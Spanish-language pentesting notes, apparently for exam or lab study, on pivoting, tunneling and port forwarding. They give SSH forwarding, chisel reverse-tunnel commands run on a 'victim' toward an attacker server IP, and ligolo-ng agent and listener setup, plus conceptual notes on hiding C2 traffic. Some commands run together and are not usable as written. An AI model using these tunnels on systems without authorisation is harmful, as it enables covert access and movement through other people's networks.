10 - Pivoting, Tunneling & Port Forwarding

Con SSH

terminal
$ ssh daniel@10.10.10.102 -L 8082:127.0.0.1:8082

Port Fwd Chisel

Montamos server
terminal
$ ./chisel server -p 9999 --reverse
Victima
terminal
$ ./chisel.exe client <TU_IP_ARCH>:<PUERTO_SERVER> R:<TU_PUERTO>:127.0.0.1:<PUERTO_VICTIMA>​$ ./chisel-Ryxtsewn client 192.168.45.223:9999 R:8000:127.0.0.1:8000
Despues en nuestro localhost podemos acceder al puerto que esta conectado con el de la victima

Checkear Ligolo

terminal
ligolo-ng
terminal
sudo ip tuntap add user alex mode tun ligolosudo ip link set ligolo up
En Nuestro Servidor
terminal
$ ./proxy -selfcert​sudo ip route add 192.168.0.0/24 dev ligolo
Victima
terminal
$ ./agent -connect <ip>:11601 -ignore-cert
terminal
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
Pivoting
  • Usada para cruzar límites de red a través de un host comprometido
  • Ejemplo: Comprometer una máquina con múltiples interfaces de red (dual-homed) para moverse entre redes separadas
Lateral Movement
  • Movimiento dentro de un mismo segmento de red para comprometer mas hosts
  • Ejemplo: Uso de credenciales de administrador local para acceder a otras máquinas en la red
Tunneling
  • Encapsular tráfico de red en otro protocolo para ocultar actividades maliciosas
  • Ejemplo: Usar HTTP/HTTPS para disimular el tráfico de C2 (Command & Control)

Diferencias clave

  • Técnica: Objetivo — Ejemplo práctico
  • Pivoting: Moverse más profundamente en la red cruzando límites físicos o virtuales. — Usar una máquina dual-homed para acceder a redes separadas.
  • Lateral Movement: Extenderse en el mismo segmento de red, comprometiendo más hosts o servicios. — Usar credenciales de administrador local para comprometer otros equipos.
  • Tunneling: Ocultar tráfico malicioso encapsulándolo en protocolos legítimos para evitar detección. — Encapsular comandos en solicitudes HTTP/HTTPS para controlar hosts comprometidos.

Fundamentos de Redes detrás del Pivoting

Direcciones IP y NICs:
  • Cada dispositivo en una red necesita una dirección IP, asignada a un controlador de interfaz de red (NIC).
  • Tipos de IPs:
  • Públicas: Ruteables en Internet (como 134.122.100.200).
  • Privadas: Ruteables solo dentro de redes internas (como 10.106.0.172).
  • Herramientas:
  • Linux/macOS: ifconfig o ip addr.
  • Windows: ipconfig.
Tablas de Ruteo:
  • Dictan cómo un sistema envía paquetes según su destino.
  • Pueden incluir rutas estáticas, dinámicas (protocolos como OSPF/BGP) o directamente conectadas.
  • Comandos:
  • Linux: netstat -r o ip route.
  • Windows: route print
Protocolos, Servicios y Puertos:
  • Los protocolos definen cómo se comunican las aplicaciones.
  • Puertos:
  • Identifican servicios específicos en una máquina (e.g., HTTP → puerto 80).
  • Puertos abiertos indican aplicaciones que escuchan conexiones entrantes.

Identificación de Oportunidades de Pivoting

  • Múltiples NICs (eth0, eth1, ….):
  • Dispositivos con varias interfaces (e.g., eth0, eth1) pueden conectar diferentes redes.
  • Importante revisar direcciones IP asignadas y rangos accesibles.
  • Tablas de Ruteo:
  • Analizar qué rutas están configuradas y qué redes son alcanzables.
  • Identificar rutas faltantes para configurar pivotes.
  • Servicios y Protocolos:
  • Identificar servicios que pueden ser explotados para moverse lateralmente o pivotar.
  • Ejemplo: Usar un puerto 80 accesible para infiltrar comandos enmascarados como tráfico legítimo.